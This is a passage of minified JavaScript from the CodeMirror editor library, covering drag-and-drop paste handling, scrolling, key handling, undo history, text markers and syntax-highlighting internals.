e={from:n=oe(t.doc,n),to:n,text:Co(o.join("\n")),origin:"paste"};Wt(t.doc,e),he(t.doc,re(n,wr(e)))}})),s.readAsText(e)};for(var s=0;s<r;++s)e(i[s],s)}else if(t.state.draggingText&&-1<t.doc.sel.contains(n))t.state.draggingText(e),setTimeout((function(){t.display.input.focus()}),20);else try{if(o=e.dataTransfer.getData("Text")){if(t.state.draggingText&&(Qi?!e.altKey:!e.ctrlKey))var a=t.listSelections();if(de(t.doc,re(n,n)),a)for(s=0;s<a.length;++s)It(t.doc,"",a[s].anchor,a[s].head,"drag");t.replaceSelection(o,"around","paste"),t.display.input.focus()}}catch(e){}}}function pt(e,t){2>Math.abs(e.doc.scrollTop-t)||(e.doc.scrollTop=t,Fi||M(e,{top:t}),e.display.scroller.scrollTop!=t&&(e.display.scroller.scrollTop=t),e.display.scrollbars.setScrollTop(t),Fi&&M(e),Ce(e,100))}function gt(e,t,n){(n?t==e.doc.scrollLeft:2>Math.abs(e.doc.scrollLeft-t))||(t=Math.min(t,e.display.scroller.scrollWidth-e.display.scroller.clientWidth),e.doc.scrollLeft=t,w(e),e.display.scroller.scrollLeft!=t&&(e.display.scroller.scrollLeft=t),e.display.scrollbars.setScrollLeft(t))}function mt(e,t){var n=(i=vr(t)).x,i=i.y,r=e.display,o=r.scroller;if(n&&o.scrollWidth>o.clientWidth||i&&o.scrollHeight>o.clientHeight){if(i&&Qi&&Vi){var l=t.target,s=r.view;e:for(;l!=o;l=l.parentNode)for(var a=0;a<s.length;a++)if(s[a].node==l){e.display.currentWheelTarget=l;break e}}!n||Fi||ji||null==mr?(i&&null!=mr&&(l=i*mr,a=(s=e.doc.scrollTop)+r.wrapper.clientHeight,0>l?s=Math.max(0,s+l-50):a=Math.min(e.doc.height,a+l+50),M(e,{top:s,bottom:a})),20>gr&&(null==r.wheelStartX?(r.wheelStartX=o.scrollLeft,r.wheelStartY=o.scrollTop,r.wheelDX=n,r.wheelDY=i,setTimeout((function(){if(null!=r.wheelStartX){var e=o.scrollLeft-r.wheelStartX,t=o.scrollTop-r.wheelStartY;e=t&&r.wheelDY&&t/r.wheelDY||e&&r.wheelDX&&e/r.wheelDX,r.wheelStartX=r.wheelStartY=null,e&&(mr=(mr*gr+e)/(gr+1),++gr)}}),200)):(r.wheelDX+=n,r.wheelDY+=i))):(i&&pt(e,Math.max(0,Math.min(o.scrollTop+i*mr,o.scrollHeight-o.clientHeight))),gt(e,Math.max(0,Math.min(o.scrollLeft+n*mr,o.scrollWidth-o.clientWidth))),_r(t),r.wheelStartX=null)}}function vt(e,t,n){if("string"==typeof t&&!(t=Or[t]))return!1;e.display.input.ensurePolled();var i=e.display.shift,r=!1;try{K(e)&&(e.state.suppressEdits=!0),n&&(e.display.shift=!1),r=t(e)!=no}finally{e.display.shift=i,e.state.suppressEdits=!1}return r}function yt(e,t,n,i){var r=e.state.keySeq;if(r){if(Er(t))return"handled";yr.set(50,(function(){e.state.keySeq==r&&(e.state.keySeq=null,e.display.input.reset())})),t=r+" "+t}return"multi"==(i=function(e,t,n){for(var i=0;i<e.state.keyMaps.length;i++){var r=Hr(t,e.state.keyMaps[i],n,e);if(r)return r}return e.options.extraKeys&&Hr(t,e.options.extraKeys,n,e)||Hr(t,e.options.keyMap,n,e)}(e,t,i))&&(e.state.keySeq=t),"handled"==i&&ti(e,"keyHandled",e,t,n),"handled"!=i&&"multi"!=i||(_r(n),xe(e)),r&&!i&&/\'$/.test(t)?(_r(n),!0):!!i}function bt(e,t){var n=Ir(t,!0);return!!n&&(t.shiftKey&&!e.state.keySeq?yt(e,"Shift-"+n,t,(function(t){return vt(e,t,!0)}))||yt(e,n,t,(function(t){if("string"==typeof t?/^go[A-Z]/.test(t):t.motion)return vt(e,t)})):yt(e,n,t,(function(t){return vt(e,t)})))}function wt(e){if(this.curOp.focus=Si(),!ii(this,e)){Gi&&11>Ui&&27==e.keyCode&&(e.returnValue=!1);var t=e.keyCode;this.display.shift=16==t||e.shiftKey;var n=bt(this,e);ji&&(br=n?t:null,!n&&88==t&&!Lo&&(Qi?e.metaKey:e.ctrlKey)&&this.replaceSelection("",null,"cut")),18!=t||/\bCodeMirror-crosshair\b/.test(this.display.lineDiv.className)||function(e){function t(e){18!=e.keyCode&&e.altKey||(yo(n,"CodeMirror-crosshair"),Qr(document,"keyup",t),Qr(document,"mouseover",t))}var n=e.display.lineDiv;bo(n,"CodeMirror-crosshair"),Zr(document,"keyup",t),Zr(document,"mouseover",t)}(this)}}function xt(e){16==e.keyCode&&(this.doc.sel.shift=!1),ii(this,e)}function Ct(e){if(!(ct(this.display,e)||ii(this,e)||e.ctrlKey&&!e.altKey||Qi&&e.metaKey)){var t=e.keyCode,n=e.charCode;ji&&t==br?(br=null,_r(e)):ji&&(!e.which||10>e.which)&&bt(this,e)||function(e,t,n){return yt(e,"'"+n+"'",t,(function(t){return vt(e,t,!0)}))}(this,e,t=String.fromCharCode(null==n?t:n))||this.display.input.onKeyPress(e)}}function St(e){e.state.delayingBlurEvent&&(e.state.delayingBlurEvent=!1),"nocursor"!=e.options.readOnly&&(e.state.focused||(Jr(e,"focus",e),e.state.focused=!0,bo(e.display.wrapper,"CodeMirror-focused"),e.curOp||e.display.selForContextMenu==e.doc.sel||(e.display.input.reset(),Vi&&setTimeout((function(){e.display.input.reset(!0)}),20)),e.display.input.receivedFocus()),xe(e))}function Lt(e){e.state.delayingBlurEvent||(e.state.focused&&(Jr(e,"blur",e),e.state.focused=!1,yo(e.display.wrapper,"CodeMirror-focused")),clearInterval(e.display.blinker),setTimeout((function(){e.state.focused||(e.display.shift=!1)}),150))}function Tt(e,t){var n;(n=ct(e.display,t))||(n=!!oi(e,"gutterContextMenu")&&ft(e,t,"gutterContextMenu",!1,Jr)),n||e.display.input.onContextMenu(t)}function kt(e,t){if(0>lr(e,t.from))return e;if(0>=lr(e,t.to))return wr(t);var n=e.line+t.text.length-(t.to.line-t.from.line)-1,i=e.ch;return e.line==t.to.line&&(i+=wr(t).ch-t.to.ch),or(n,i)}function Mt(e,t){for(var n=[],i=0;i<e.sel.ranges.length;i++){var r=e.sel.ranges[i];n.push(new ne(kt(r.anchor,t),kt(r.head,t)))}return ie(n,e.sel.primIndex)}function Nt(e,t,n){return e.line==t.line?or(n.line,e.ch-t.ch+n.ch):or(n.line+(e.line-t.line),e.ch)}function At(e,t,n){return t={canceled:!1,from:t.from,to:t.to,text:t.text,origin:t.origin,cancel:function(){this.canceled=!0}},n&&(t.update=function(t,n,i,r){t&&(this.from=oe(e,t)),n&&(this.to=oe(e,n)),i&&(this.text=i),void 0!==r&&(this.origin=r)}),Jr(e,"beforeChange",e,t),e.cm&&Jr(e.cm,"beforeChange",e.cm,t),t.canceled?null:{from:t.from,to:t.to,text:t.text,origin:t.origin}}function Wt(e,t,n){if(e.cm){if(!e.cm.curOp)return Ze(e.cm,Wt)(e,t,n);if(e.cm.state.suppressEdits)return}if(!(oi(e,"beforeChange")||e.cm&&oi(e.cm,"beforeChange"))||(t=At(e,t,!0)))if(n=ir&&!n&&function(e,t,n){var i=null;if(e.iter(t.line,n.line+1,(function(e){if(e.markedSpans)for(var t=0;t<e.markedSpans.length;++t){var n=e.markedSpans[t].marker;!n.readOnly||i&&-1!=hi(i,n)||(i||(i=[])).push(n)}})),!i)return null;for(e=[{from:t,to:n}],t=0;t<i.length;++t)for(var r=(n=i[t]).find(0),o=0;o<e.length;++o){var l=e[o];if(!(0>lr(l.to,r.from)||0<lr(l.from,r.to))){var s=[o,1],a=lr(l.from,r.from),c=lr(l.to,r.to);(0>a||!n.inclusiveLeft&&!a)&&s.push({from:l.from,to:r.from}),(0<c||!n.inclusiveRight&&!c)&&s.push({from:r.to,to:l.to}),e.splice.apply(e,s),o+=s.length-1}}return e}(e,t.from,t.to))for(var i=n.length-1;0<=i;--i)Ot(e,{from:n[i].from,to:n[i].to,text:i?[""]:t.text});else Ot(e,t)}function Ot(e,t){if(1!=t.text.length||""!=t.text[0]||0!=lr(t.from,t.to)){var n=Mt(e,t);Xn(e,t,n,e.cm?e.cm.curOp.id:NaN),Et(e,t,n,Jt(e,t));var i=[];Dn(e,(function(e,n){n||-1!=hi(i,e.history)||(Qn(e.history,t),i.push(e.history)),Et(e,t,null,Jt(e,t))}))}}function Dt(e,t,n){if(!e.cm||!e.cm.state.suppressEdits){for(var i,r=e.history,o=e.sel,l="undo"==t?r.done:r.undone,s="undo"==t?r.undone:r.done,a=0;a<l.length&&(i=l[a],n?!i.ranges||i.equals(e.sel):i.ranges);a++);if(a!=l.length){for(r.lastOrigin=r.lastSelOrigin=null;(i=l.pop()).ranges;){if(jn(i,s),n&&!i.equals(e.sel))return void fe(e,i,{clearRedo:!1});o=i}for(n=[],jn(o,s),s.push({changes:n,generation:r.generation}),r.generation=i.generation||++r.maxGeneration,r=oi(e,"beforeChange")||e.cm&&oi(e.cm,"beforeChange"),a=i.changes.length-1;0<=a;--a){var c=i.changes[a];if(c.origin=t,r&&!At(e,c,!1)){l.length=0;break}n.push(Vn(e,c)),o=a?Mt(e,c):ui(l),Et(e,c,o,tn(e,c)),!a&&e.cm&&e.cm.scrollIntoView({from:c.from,to:wr(c)});var u=[];Dn(e,(function(e,t){t||-1!=hi(u,e.history)||(Qn(e.history,c),u.push(e.history)),Et(e,c,null,tn(e,c))}))}}}}function Ht(e,t){if(0!=t&&(e.first+=t,e.sel=new te(fi(e.sel.ranges,(function(e){return new ne(or(e.anchor.line+t,e.anchor.ch),or(e.head.line+t,e.head.ch))})),e.sel.primIndex),e.cm)){nt(e.cm,e.first,e.first-t,t);for(var n=e.cm.display,i=n.viewFrom;i<n.viewTo;i++)it(e.cm,i,"gutter")}}function Et(e,t,n,i){if(e.cm&&!e.cm.curOp)return Ze(e.cm,Et)(e,t,n,i);if(t.to.line<e.first)Ht(e,t.text.length-1-(t.to.line-t.from.line));else if(!(t.from.line>e.lastLine())){if(t.from.line<e.first){var o=t.text.length-1-(e.first-t.from.line);Ht(e,o),t={from:or(e.first,0),to:or(t.to.line+o,t.to.ch),text:[ui(t.text)],origin:t.origin}}o=e.lastLine(),t.to.line>o&&(t={from:t.from,to:or(o,En(e,o).text.length),text:[t.text[0]],origin:t.origin}),t.removed=In(e,t.from,t.to),n||(n=Mt(e,t)),e.cm?function(e,t,n){var i=e.doc,o=e.display,l=t.from,s=t.to,a=!1,c=l.line;e.options.lineWrapping||(c=Fn(an(En(i,l.line))),i.iter(c,s.line+1,(function(e){if(e==o.maxLine)return a=!0}))),-1<i.sel.contains(t.from,t.to)&&ri(e),An(i,t,n,r(e)),e.options.lineWrapping||(i.iter(c,l.line+t.text.length,(function(e){var t=u(e);t>o.maxLineLength&&(o.maxLine=e,o.maxLineLength=t,o.maxLineChanged=!0,a=!1)})),a&&(e.curOp.updateMaxLine=!0)),i.frontier=Math.min(i.frontier,l.line),Ce(e,400),n=t.text.length-(s.line-l.line)-1,t.full?nt(e):l.line!=s.line||1!=t.text.length||Nn(e.doc,t)?nt(e,l.line,s.line+1,n):it(e,l.line,"text"),n=oi(e,"changes"),((i=oi(e,"change"))||n)&&(t={from:l,to:s,text:t.text,removed:t.removed,origin:t.origin},i&&ti(e,"change",e,t),n&&(e.curOp.changeObjs||(e.curOp.changeObjs=[])).push(t)),e.display.selForContextMenu=null}(e.cm,t,i):An(e,t,i),de(e,n,io)}}function It(e,t,n,i,r){if(i||(i=n),0>lr(i,n)){var o=i;i=n,n=o}"string"==typeof t&&(t=Co(t)),Wt(e,{from:n,to:i,text:t,origin:r})}function Pt(e,t,n,i,r){var o=e.display,l=je(e.display);0>n&&(n=0);var s=e.curOp&&null!=e.curOp.scrollTop?e.curOp.scrollTop:o.scroller.scrollTop,a=Ae(e),c={};r-n>a&&(r=n+a);var u=e.doc.height+Te(o),h=n<l;return l=r>u-l,n<s?c.scrollTop=h?0:n:r>s+a&&(n=Math.min(n,(l?u:r)-a))!=s&&(c.scrollTop=n),s=e.curOp&&null!=e.curOp.scrollLeft?e.curOp.scrollLeft:o.scroller.scrollLeft,(o=i-t>(e=Ne(e)-(e.options.fixedGutter?o.gutters.offsetWidth:0)))&&(i=t+e),10>t?c.scrollLeft=0:t<s?c.scrollLeft=Math.max(0,t-(o?0:10)):i>e+s-3&&(c.scrollLeft=i+(o?0:10)-e),c}function zt(e,t,n){null==t&&null==n||Rt(e),null!=t&&(e.curOp.scrollLeft=(null==e.curOp.scrollLeft?e.doc.scrollLeft:e.curOp.scrollLeft)+t),null!=n&&(e.curOp.scrollTop=(null==e.curOp.scrollTop?e.doc.scrollTop:e.curOp.scrollTop)+n)}function Ft(e){Rt(e);var t=e.getCursor(),n=t,i=t;e.options.lineWrapping||(n=t.ch?or(t.line,t.ch-1):t,i=or(t.line,t.ch+1)),e.curOp.scrollToPos={from:n,to:i,margin:e.options.cursorScrollMargin,isCursor:!0}}function Rt(e){if(i=e.curOp.scrollToPos){e.curOp.scrollToPos=null;var t=Ue(e,i.from),n=Ue(e,i.to),i=Pt(e,Math.min(t.left,n.left),Math.min(t.top,n.top)-i.margin,Math.max(t.right,n.right),Math.max(t.bottom,n.bottom)+i.margin);e.scrollTo(i.scrollLeft,i.scrollTop)}}function Bt(e,t,n,i){var r,o=e.doc;null==n&&(n="add"),"smart"==n&&(o.mode.indent?r=Le(e,t):n="prev");var l=e.options.tabSize,s=En(o,t),a=lo(s.text,null,l);s.stateAfter&&(s.stateAfter=null);var c,u=s.text.match(/^\s*/)[0];if(i||/\S/.test(s.text)){if("smart"==n&&((c=o.mode.indent(r,s.text.slice(u.length),s.text))==no||150<c)){if(!i)return;n="prev"}}else c=0,n="not";if("prev"==n?c=t>o.first?lo(En(o,t-1).text,null,l):0:"add"==n?c=a+e.options.indentUnit:"subtract"==n?c=a-e.options.indentUnit:"number"==typeof n&&(c=a+n),c=Math.max(0,c),n="",i=0,e.options.indentWithTabs)for(e=Math.floor(c/l);e;--e)i+=l,n+="\t";if(i<c&&(n+=ci(c-i)),n!=u)return It(o,n,or(t,0),or(t,u.length),"+input"),s.stateAfter=null,!0;for(e=0;e<o.sel.ranges.length;e++)if((l=o.sel.ranges[e]).head.line==t&&l.head.ch<u.length){ue(o,e,new ne(i=or(t,u.length),i));break}}function Gt(e,t,n,i){var r=t,o=t;return"number"==typeof t?o=En(e,Math.max(e.first,Math.min(t,e.first+e.size-1))):r=Fn(t),null==r?null:(i(o,r)&&e.cm&&it(e.cm,r,n),o)}function Ut(e,t){for(var n=e.doc.sel.ranges,i=[],r=0;r<n.length;r++){for(var o=t(n[r]);i.length&&0>=lr(o.from,ui(i).to);){var l=i.pop();if(0>lr(l.from,o.from)){o.from=l.from;break}}i.push(o)}qe(e,(function(){for(var t=i.length-1;0<=t;t--)It(e.doc,"",i[t].from,i[t].to,"+delete");Ft(e)}))}function Vt(e,t,n,i,r){function o(t){var i=(r?Pi:zi)(c,s,n,!0);if(null==i){if((t=!t)&&((t=l+n)<e.first||t>=e.first+e.size?t=u=!1:(l=t,t=c=En(e,t))),!t)return u=!1;s=r?(0>n?Oi:Wi)(c):0>n?c.text.length:0}else s=i;return!0}var l=t.line,s=t.ch,a=n,c=En(e,l),u=!0;if("char"==i)o();else if("column"==i)o(!0);else if("word"==i||"group"==i){var h=null;i="group"==i,t=e.cm&&e.cm.getHelper(t,"wordChars");for(var f=!0;!(0>n)||o(!f);f=!1){var d=vi(d=c.text.charAt(s)||"\n",t)?"w":i&&"\n"==d?"n":!i||/\s/.test(d)?null:"p";if(!i||f||d||(d="s"),h&&h!=d){0>n&&(n=1,o());break}if(d&&(h=d),0<n&&!o(!f))break}}return a=ve(e,or(l,s),a,!0),u||(a.hitSide=!0),a}function Kt(e,t,n,i){var r,o=e.doc,l=t.left;for("page"==i?(r=Math.min(e.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight),r=t.top+n*(r-(0>n?1.5:.5)*je(e.display))):"line"==i&&(r=0<n?t.bottom+3:t.top-3);(t=Ke(e,l,r)).outside;){if(0>n?0>=r:r>=o.height){t.hitSide=!0;break}r+=5*n}return t}function Xt(t,n,i,r){e.defaults[t]=n,i&&(Cr[t]=r?function(e,t,n){n!=Sr&&i(e,t,n)}:i)}function jt(e){var t=e.split(/-(?!$)/);e=t[t.length-1];for(var n,i,r,o,l=0;l<t.length-1;l++){var s=t[l];if(/^(cmd|meta|m)$/i.test(s))o=!0;else if(/^a(lt)?$/i.test(s))n=!0;else if(/^(c|ctrl|control)$/i.test(s))i=!0;else{if(!/^s(hift)$/i.test(s))throw Error("Unrecognized modifier name: "+s);r=!0}}return n&&(e="Alt-"+e),i&&(e="Ctrl-"+e),o&&(e="Cmd-"+e),r&&(e="Shift-"+e),e}function Yt(e){return"string"==typeof e?Dr[e]:e}function _t(e,t,n,i,r){if(i&&i.shared)return function(e,t,n,i,r){(i=gi(i)).shared=!1;var o=[_t(e,t,n,i,r)],l=o[0],s=i.widgetNode;return Dn(e,(function(e){s&&(i.widgetNode=s.cloneNode(!0)),o.push(_t(e,oe(e,t),oe(e,n),i,r));for(var a=0;a<e.linked.length;++a)if(e.linked[a].isParent)return;l=ui(o)})),new Rr(o,l)}(e,t,n,i,r);if(e.cm&&!e.cm.curOp)return Ze(e.cm,_t)(e,t,n,i,r);var o=new Fr(e,r);if(r=lr(t,n),i&&gi(i,o,!1),0<r||0==r&&!1!==o.clearWhenEmpty)return o;if(o.replacedWith&&(o.collapsed=!0,o.widgetNode=wi("span",[o.replacedWith],"CodeMirror-widget"),i.handleMouseEvents||o.widgetNode.setAttribute("cm-ignore-events","true"),i.insertLeft&&(o.widgetNode.insertLeft=!0)),o.collapsed){if(sn(e,t.line,t,n,o)||t.line!=n.line&&sn(e,n.line,t,n,o))throw Error("Inserting collapsed marker partially overlapping an existing one");rr=!0}o.addToHistory&&Xn(e,{from:t,to:n,origin:"markText"},e.sel,NaN);var l,s=t.line,a=e.cm;if(e.iter(s,n.line+1,(function(e){a&&o.collapsed&&!a.options.lineWrapping&&an(e)==a.display.maxLine&&(l=!0),o.collapsed&&s!=t.line&&zn(e,0);var i=new Zt(o,s==t.line?t.ch:null,s==n.line?n.ch:null);e.markedSpans=e.markedSpans?e.markedSpans.concat([i]):[i],i.marker.attachLine(e),++s})),o.collapsed&&e.iter(t.line,n.line+1,(function(t){hn(e,t)&&zn(t,0)})),o.clearOnEnter&&Zr(o,"beforeCursorEnter",(function(){o.clear()})),o.readOnly&&(ir=!0,(e.history.done.length||e.history.undone.length)&&e.clearHistory()),o.collapsed&&(o.id=++zr,o.atomic=!0),a){if(l&&(a.curOp.updateMaxLine=!0),o.collapsed)nt(a,t.line,n.line+1);else if(o.className||o.title||o.startStyle||o.endStyle||o.css)for(i=t.line;i<=n.line;i++)it(a,i,"text");o.atomic&&ge(a.doc),ti(a,"markerAdded",a,o)}return o}function $t(e){return e.findMarks(or(e.first,0),e.clipPos(or(e.lastLine())),(function(e){return e.parent}))}function qt(e){for(var t=0;t<e.length;t++){var n=e[t],i=[n.primary.doc];Dn(n.primary.doc,(function(e){i.push(e)}));for(var r=0;r<n.markers.length;r++){var o=n.markers[r];-1==hi(i,o.doc)&&(o.parent=null,n.markers.splice(r--,1))}}}function Zt(e,t,n){this.marker=e,this.from=t,this.to=n}function Qt(e,t){if(e)for(var n=0;n<e.length;++n){var i=e[n];if(i.marker==t)return i}}function Jt(e,t){if(t.full)return null;var n=le(e,t.from.line)&&En(e,t.from.line).markedSpans,i=le(e,t.to.line)&&En(e,t.to.line).markedSpans;if(!n&&!i)return null;var r,o=t.from.ch,l=t.to.ch,s=0==lr(t.from,t.to);if(n)for(var a,c=0;c<n.length;++c){var u=n[c],h=u.marker;if(null==u.from||(h.inclusiveLeft?u.from<=o:u.from<o)||!(u.from!=o||"bookmark"!=h.type||s&&u.marker.insertLeft)){var f=null==u.to||(h.inclusiveRight?u.to>=o:u.to>o);(a||(a=[])).push(new Zt(h,u.from,f?null:u.to))}}if(n=a,i)for(c=0;c<i.length;++c)u=(a=i[c]).marker,(null==a.to||(u.inclusiveRight?a.to>=l:a.to>l)||a.from==l&&"bookmark"==u.type&&(!s||a.marker.insertLeft))&&(h=null==a.from||(u.inclusiveLeft?a.from<=l:a.from<l),(r||(r=[])).push(new Zt(u,h?null:a.from-l,null==a.to?null:a.to-l)));if(i=r,s=1==t.text.length,r=ui(t.text).length+(s?o:0),n)for(l=0;l<n.length;++l)null==(c=n[l]).to&&((a=Qt(i,c.marker))?s&&(c.to=null==a.to?null:a.to+r):c.to=o);if(i)for(l=0;l<i.length;++l)null!=(c=i[l]).to&&(c.to+=r),null==c.from?(a=Qt(n,c.marker))||(c.from=r,s&&(n||(n=[])).push(c)):(c.from+=r,s&&(n||(n=[])).push(c));if(n&&(n=en(n)),i&&i!=n&&(i=en(i)),o=[n],!s){var d;if(0<(s=t.text.length-2)&&n)for(l=0;l<n.length;++l)null==n[l].to&&(d||(d=[])).push(new Zt(n[l].marker,null,null));for(l=0;l<s;++l)o.push(d);o.push(i)}return o}function en(e){for(var t=0;t<e.length;++t){var n=e[t];null!=n.from&&n.from==n.to&&!1!==n.marker.clearWhenEmpty&&e.splice(t--,1)}return e.length?e:null}function tn(e,t){var n;if(n=t["spans_"+e.id]){for(var i=0,r=[];i<t.text.length;++i)r.push(_n(n[i]));n=r}else n=null;if(i=Jt(e,t),!n)return i;if(!i)return n;for(r=0;r<n.length;++r){var o=n[r],l=i[r];if(o&&l){var s=0;e:for(;s<l.length;++s){for(var a=l[s],c=0;c<o.length;++c)if(o[c].marker==a.marker)continue e;o.push(a)}}else l&&(n[r]=l)}return n}function nn(e){var t=e.markedSpans;if(t){for(var n=0;n<t.length;++n)t[n].marker.detachLine(e);e.markedSpans=null}}function rn(e,t){if(t){for(var n=0;n<t.length;++n)t[n].marker.attachLine(e);e.markedSpans=t}}function on(e,t){if(0!=(n=e.lines.length-t.lines.length))return n;var n=e.find(),i=t.find(),r=lr(n.from,i.from)||(e.inclusiveLeft?-1:0)-(t.inclusiveLeft?-1:0);return r?-r:(n=lr(n.to,i.to)||(e.inclusiveRight?1:0)-(t.inclusiveRight?1:0))?n:t.id-e.id}function ln(e,t){var n,i=rr&&e.markedSpans;if(i)for(var r,o=0;o<i.length;++o)(r=i[o]).marker.collapsed&&null==(t?r.from:r.to)&&(!n||0>on(n,r.marker))&&(n=r.marker);return n}function sn(e,t,n,i,r){if(e=En(e,t),e=rr&&e.markedSpans)for(t=0;t<e.length;++t){var o=e[t];if(o.marker.collapsed){var l=o.marker.find(0),s=lr(l.from,n)||(o.marker.inclusiveLeft?-1:0)-(r.inclusiveLeft?-1:0),a=lr(l.to,i)||(o.marker.inclusiveRight?1:0)-(r.inclusiveRight?1:0);if(!(0<=s&&0>=a||0>=s&&0<=a)&&(0>=s&&(0<lr(l.to,n)||o.marker.inclusiveRight&&r.inclusiveLeft)||0<=s&&(0>lr(l.from,i)||o.marker.inclusiveLeft&&r.inclusiveRight)))return!0}}}function an(e){for(var t;t=ln(e,!0);)e=t.find(-1,!0).line;return e}function cn(e,t){var n=En(e,t),i=an(n);return n==i?t:Fn(i)}function un(e,t){if(t>e.lastLine())return t;var n,i=En(e,t);if(!hn(e,i))return t;for(;n=ln(i,!1);)i=n.find(1,!0).line;return Fn(i)+1}function hn(e,t){var n=rr&&t.markedSpans;if(n)for(var i,r=0;r<n.length;++r)if((i=n[r]).marker.collapsed&&(null==i.from||!i.marker.widgetNode&&0==i.from&&i.marker.inclusiveLeft&&fn(e,t,i)))return!0}function fn(e,t,n){if(null==n.to)return fn(e,(t=n.marker.find(1,!0)).line,Qt(t.line.markedSpans,n.marker));if(n.marker.inclusiveRight&&n.to==t.text.length)return!0;for(var i,r=0;r<t.markedSpans.length;++r)if((i=t.markedSpans[r]).marker.collapsed&&!i.marker.widgetNode&&i.from==n.to&&(null==i.to||i.to!=n.from)&&(i.marker.inclusiveLeft||n.marker.inclusiveRight)&&fn(e,t,i))return!0}function dn(e){if(null!=e.height)return e.height;var t=e.doc.cm;if(!t)return 0;if(!po(document.body,e.node)){var n="position: relative;";e.coverGutter&&(n+="margin-left: -"+t.display.gutters.offsetWidth+"px;"),e.noHScroll&&(n+="width: "+t.display.wrapper.clientWidth+"px;"),Ci(t.display.measure,wi("div",[e.node],null,n))}return e.height=e.node.offsetHeight}function pn(e,t){if(e)for(;;){var n=e.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!n)break;e=e.slice(0,n.index)+e.slice(n.index+n[0].length);var i=n[1]?"bgClass":"textClass";null==t[i]?t[i]=n[2]:new RegExp("(?:^|s)"+n[2]+"(?:$|s)").test(t[i])||(t[i]+=" "+n[2])}return e}function gn(t,n){if(t.blankLine)return t.blankLine(n);if(t.innerMode){var i=e.innerMode(t,n);if(i.mode.blankLine)return i.mode.blankLine(i.state)}}function mn(t,n,i,r){for(var o=0;10>o;o++){r&&(r[0]=e.innerMode(t,i).mode);var l=t.token(n,i);if(n.pos>n.start)return l}throw Error("Mode "+t.name+" failed to advance stream.")}function vn(e,t,n,i){function r(e){return{start:h.start,end:h.pos,string:h.current(),type:o||null,state:e?Ar(l.mode,u):u}}var o,l=e.doc,s=l.mode;t=oe(l,t);var a,c=En(l,t.line),u=Le(e,t.line,n),h=new Pr(c.text,e.options.tabSize);for(i&&(a=[]);(i||h.pos<t.ch)&&!h.eol();)h.start=h.pos,o=mn(s,h,u),i&&a.push(r(!0));return i?a:r()}function yn(e,t,n,i,r,o,l){var s=n.flattenSpans;null==s&&(s=e.options.flattenSpans);var a,c=0,u=null,h=new Pr(t,e.options.tabSize),f=e.options.addModeClass&&[null];for(""==t&&pn(gn(n,i),o);!h.eol();){if(h.pos>e.options.maxHighlightLength?(s=!1,l&&xn(e,t,i,h.pos),h.pos=t.length,a=null):a=pn(mn(n,h,i,f),o),f){var d=f[0].name;d&&(a="m-"+(a?d+" "+a:d))}if(!s||u!=a){for(;c<h.start;)r(c=Math.min(h.start,c+5e4),u);u=a}h.start=h.pos}for(;c<h.pos;)r(e=Math.min(h.pos,c+5e4),u),c=e}function bn(e,t,n,i){var r=[e.state.modeGen],o={};for(yn(e,t.text,e.doc.mode,n,(function(e,t){r.push(e,t)}),o,i),n=0;n<e.state.overlays.length;++n){var l=e.state.overlays[n],s=1,a=0;yn(e,t.text,l.mode,!0,(function(e,t){for(var n=s;a<e;){var i=r[s];i>e&&r.splice(s,1,e,r[s+1],i),s+=2,a=Math.min(e,i)}if(t)if(l.opaque)r.splice(n,s-n,e,"cm-overlay "+t),s=n+2;else for(;n<s;n+=2)i=r[n+1],r[n+1]=(i?i+" ":"")+"cm-overlay "+t}),o)}return{styles:r,classes:o.bgClass||o.textClass?o:null}}function wn(e,t,n){if(!t.styles||t.styles[0]!=e.state.modeGen){var i=bn(e,t,t.stateAfter=Le(e,Fn(t)));t.styles=i.styles,i.classes?t.styleClasses=i.classes:t.styleClasses&&(t.styleClasses=null),n===e.doc.frontier&&e.doc.frontier++}return t.styles}function xn(e,t,n,i){var r=e.doc.mode,o=new Pr(t,e.options.tabSize);for(o.start=o.pos=i||0,""==t&&gn(r,n);!o.eol()&&o.pos<=e.options.maxHighlightLength;)mn(r,o,n),o.start=o.pos}function Cn(e,t){if(!e||/^\s*$/.test(e))return null;var n=t.addModeClass?Vr:Ur;return n[e]||(n[e]=e.replace(/\S+/g,"cm-$&"))}function Sn(e,t){var n=wi("span",null,null,Vi?"padding-right: .1px":null);n={pre:wi("pre",[n]),content:n,col:0,pos:0,cm:e,splitSpaces:(Gi||Vi)&&e.getOption("lineWrapping")},t.measure={};for(var i=0;i<=(t.rest?t.rest.length:0);i++){var r,o,l=i?t.rest[i-1]:t.line;n.pos=0,n.addToken=Ln,null!=mo?o=mo:(o=Ci(e.display.measure,document.createTextNode("AخA")),o=!(!(s=co(o,0,1).getBoundingClientRect())||s.left==s.right)&&(mo=3>co(o,1,2).getBoundingClientRect().right-s.right)),o&&(r=Gn(l))&&(n.addToken=kn(n.addToken,r)),n.map=[];e:{o=n;var s=wn(e,l,s=t!=e.display.externalMeasured&&Fn(l)),a=l.markedSpans,c=l.text,u=0;if(a)for(var h=c.length,f=0,d=1,p="",g=void 0,m=void 0,v=0,y=void 0,b=void 0,w=void 0,x=void 0,C=void 0;;){if(v==f){y=b=w=x=m="",C=null,v=1/0;for(var S=[],L=0;L<a.length;++L){var T=a[L],k=T.marker;"bookmark"==k.type&&T.from==f&&k.widgetNode?S.push(k):T.from<=f&&(null==T.to||T.to>f||k.collapsed&&T.to==f&&T.from==f)?(null!=T.to&&T.to!=f&&v>T.to&&(v=T.to,b=""),k.className&&(y+=" "+k.className),k.css&&(m=k.css),k.startStyle&&T.from==f&&(w+=" "+k.startStyle),k.endStyle&&T.to==v&&(b+=" "+k.endStyle),k.title&&!x&&(x=k.title),k.collapsed&&(!C||0>on(C.marker,k))&&(C=T)):T.from>f&&v>T.from&&(v=T.from)}if(C&&(C.from||0)==f){if(Mn(o,(null==C.to?h+1:C.to)-f,C.marker,null==C.from),null==C.to)break e;C.to==f&&(C=!1)}if(!C&&S.length)for(L=0;L<S.length;++L)Mn(o,0,S[L])}if(f>=h)break;for(S=Math.min(h,v);;){if(p){if(L=f+p.length,C||(T=L>S?p.slice(0,S-f):p,o.addToken(o,T,g?g+y:y,w,f+T.length==v?b:"",x,m)),L>=S){p=p.slice(S-f),f=S;break}f=L,w=""}p=c.slice(u,u=s[d++]),g=Cn(s[d++],o.cm.options)}}else 